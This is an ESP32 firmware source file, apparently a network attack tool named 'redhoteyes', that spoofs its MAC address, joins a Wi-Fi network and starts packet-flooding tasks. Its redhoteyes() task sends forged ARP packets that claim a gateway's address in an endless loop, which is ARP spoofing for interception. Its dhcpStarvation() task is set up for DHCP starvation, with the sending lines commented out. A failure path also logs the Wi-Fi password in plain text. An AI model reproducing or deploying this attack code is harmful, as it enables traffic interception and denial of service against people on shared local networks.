// standard fare #include #include #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "freertos/event_groups.h" #include "esp_system.h" #include "esp_wifi.h" #include "esp_event.h" #include "esp_log.h" #include "nvs_flash.h" #include // netif #include "esp_netif.h" // lwip #include "lwip/sys.h" #include "lwip/sockets.h" #include "lwip/err.h" // custom #include "redhoteyes.h" #include "packets.h" #include "helperFunctions.h" // wifi event group for freertos static EventGroupHandle_t s_wifi_event_group; esp_netif_t* netifWifi; // ip info after connecting to AP char str_ipv4[16]; // local ip os esp char str_ipnm[16]; // netmask char str_ipgw[16]; // gateway // set up the mac address char *spoofMacString = SPOOFED_MAC_ADDRESS; uint8_t mac[6]; void dhcpStarvation(void *pvParameters) { uint8_t gatewayIP[4]; ip2bytes(str_ipgw, gatewayIP); char broadcastStr[INET_ADDRSTRLEN]; uint8_t broadcastIP[4]; calculateBroadcast(str_ipgw, str_ipnm, broadcastStr); ip2bytes(broadcastStr, broadcastIP); // ESP_LOGI(TAGSUCC, "\n\nbroadcastStr: %s\n\n", broadcastStr); ESP_LOGI(TAGSUCC, "Set Up:\n\tIP: %s\n\tGateway: %s\n\tNetmask: %s\n\tBroadcast: %s\n\tInterface MAC: %x:%x:%x:%x:%x:%x\n\t", str_ipv4, str_ipgw, str_ipnm, broadcastStr, mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); uint8_t broadcastMAC[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; uint8_t ifaceMAC[] = {mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]}; uint8_t srcIP[] = {0x00, 0x00, 0x00, 0x00}; uint8_t dstIP[] = {0xFF, 0xFF, 0xFF, 0xFF}; uint8_t chaddr[] = {mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]}; uint8_t requestedIP[] = {0x0A, 0x00, 0x00, 0xC8, 0xFF}; /* memcpy(&spoofDHCPRequestPkt[13], &broadcastMAC, sizeof(broadcastMAC) / sizeof(broadcastMAC[0])); memcpy(&spoofDHCPRequestPkt[19], &ifaceMAC, sizeof(ifaceMAC) / sizeof(ifaceMAC[0])); memcpy(&spoofDHCPRequestPkt[25], &srcIP, sizeof(srcIP) / sizeof(srcIP[0])); memcpy(&spoofDHCPRequestPkt[44], &broadcastMAC, sizeof(broadcastMAC) / sizeof(broadcastMAC[0])); memcpy(&spoofDHCPRequestPkt[33], &dstIP, sizeof(dstIP) / sizeof(dstIP[0])); memcpy(&spoofDHCPRequestPkt[88], &chaddr, sizeof(chaddr) / sizeof(chaddr[0])); memcpy(&spoofDHCPRequestPkt[210], &requestedIP, sizeof(requestedIP) / sizeof(requestedIP[0])); memcpy(&spoofDHCPRequestPkt[216], &gatewayIP, sizeof(gatewayIP) / sizeof(gatewayIP[0])); */ int packetLen = sizeof(spoofDHCPRequestPkt) / sizeof(spoofDHCPRequestPkt[0]); while(1) { // sendPacket(spoofDHCPRequestPkt, packetLen); ESP_LOGI(TAGSUCC, "Looping...\n\tspoofDHCPRequestPkt\n\tPacket Length: %d", packetLen); // delay on loop vTaskDelay(LOOP_MSECONDS / portTICK_PERIOD_MS); } } void redhoteyes(void *pvParameters) { uint8_t spoofedIP[] = {0xC0, 0xA8, 0x04, 0x01}; // spoofed IP uint8_t gatewayMAC[] = {0xD4, 0x6C, 0x6D, 0x3E, 0xA4, 0x13}; // gateway MAC uint8_t gatewayIP[] = {0xC0, 0xA8, 0x01, 0x01}; // gateway IP // load the values memcpy(&spoofARPPkt[14], &spoofedIP, sizeof(spoofedIP) / sizeof(spoofedIP[0])); memcpy(&spoofARPPkt[18], &gatewayMAC, sizeof(gatewayMAC) / sizeof(gatewayMAC[0])); memcpy(&spoofARPPkt[24], &gatewayIP, sizeof(gatewayIP) / sizeof(gatewayIP[0])); hexDump(spoofARPPkt, sizeof(spoofARPPkt) / sizeof(spoofARPPkt[0])); // start the loop while(1) { sendPacket(spoofARPPkt, sizeof(spoofARPPkt) / sizeof(spoofARPPkt[0])); ESP_LOGI(TAGSUCC, "Looping"); // delay on loop vTaskDelay(LOOP_MSECONDS / portTICK_PERIOD_MS); } } static void event_handler(void* arg, esp_event_base_t event_base, int32_t event_id, void* event_data) { static int s_retry_num = 0; if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_START) { esp_wifi_connect(); } else if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) { if (s_retry_num < ESP_MAXIMUM_RETRY) { esp_wifi_connect(); s_retry_num++; ESP_LOGI(TAGSUCC, "Retrying to connect to the AP"); } else { xEventGroupSetBits(s_wifi_event_group, WIFI_FAIL_BIT); } ESP_LOGE(TAGFAIL,"Failed to connect to AP"); } else if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) { ip_event_got_ip_t* event = (ip_event_got_ip_t*) event_data; esp_ip4addr_ntoa(&event->ip_info.ip, str_ipv4, IP4ADDR_STRLEN_MAX); esp_ip4addr_ntoa(&event->ip_info.netmask, str_ipnm, IP4ADDR_STRLEN_MAX); esp_ip4addr_ntoa(&event->ip_info.gw, str_ipgw, IP4ADDR_STRLEN_MAX); ESP_LOGI(TAGSUCC, "Connected!\n\tIP: %s\n\tNetmask: %s\n\tGateway: %s\n\tSSID: %s\n\tMode: ESP_WIFI_MODE_STA\n\tAuth Threshold: %d\n\tMAC Address: %02x:%02x:%02x:%02x:%02x:%02x\n\tHostname: %s", str_ipv4, str_ipnm, str_ipgw, WIFI_SSID, ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD, mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], HOSTNAME); s_retry_num = 0; xEventGroupSetBits(s_wifi_event_group, WIFI_CONNECTED_BIT); } } void wifi_init_sta(void) { s_wifi_event_group = xEventGroupCreate(); ESP_ERROR_CHECK(esp_netif_init()); ESP_ERROR_CHECK(esp_event_loop_create_default()); netifWifi = esp_netif_create_default_wifi_sta(); ESP_ERROR_CHECK(esp_netif_set_mac(netifWifi, mac)); ESP_ERROR_CHECK(esp_netif_set_hostname(netifWifi, HOSTNAME)); wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); ESP_ERROR_CHECK(esp_wifi_init(&cfg)); esp_event_handler_instance_t instance_any_id; esp_event_handler_instance_t instance_got_ip; ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT, ESP_EVENT_ANY_ID, &event_handler, NULL, &instance_any_id)); ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT, IP_EVENT_STA_GOT_IP, &event_handler, NULL, &instance_got_ip)); wifi_config_t wifi_config = { .sta = { .ssid = WIFI_SSID, .password = WIFI_PSK, .threshold.authmode = ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD, .sae_pwe_h2e = ESP_WIFI_SAE_MODE, .sae_h2e_identifier = H2E_IDENTIFIER, }, }; ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_STA)); ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_config)); ESP_ERROR_CHECK(esp_wifi_start()); ESP_LOGI(TAGSUCC, "wifi_init_sta finished."); /* Waiting until either the connection is established (WIFI_CONNECTED_BIT) or connection failed for the maximum * number of re-tries (WIFI_FAIL_BIT). The bits are set by event_handler() (see above) */ EventBits_t bits = xEventGroupWaitBits(s_wifi_event_group, WIFI_CONNECTED_BIT | WIFI_FAIL_BIT, pdFALSE, pdFALSE, portMAX_DELAY); /* xEventGroupWaitBits() returns the bits before the call returned, hence we can test which event actually * happened. */ if (bits & WIFI_CONNECTED_BIT) { ESP_LOGI(TAGSUCC, "connected to ap SSID: %s", WIFI_SSID); // fork redhoteyes to FreeRTOS task // xTaskCreate(redhoteyes, "redhoteyes", 4096, NULL, 5, NULL); xTaskCreate(dhcpStarvation, "dhcpStarvation", 4096, NULL, 5, NULL); ESP_LOGI(TAGSUCC, "Connected to AP- Sending packets"); } else if (bits & WIFI_FAIL_BIT) { ESP_LOGE(TAGFAIL, "Failed to connect to SSID:%s, password:%s", WIFI_SSID, WIFI_PSK); } else { ESP_LOGE(TAGFAIL, "FAILURE: UNEXPECTED EVENT"); } } void app_main(void) { //Initialize NVS esp_err_t ret = nvs_flash_init(); if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { ESP_ERROR_CHECK(nvs_flash_erase()); ret = nvs_flash_init(); } ESP_ERROR_CHECK(ret); ESP_LOGI(TAGSUCC, "ESP_WIFI_MODE_STA"); convertStringToMac(spoofMacString, mac); ESP_LOGI(TAGSUCC, "MAC Address: %02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); wifi_init_sta(); }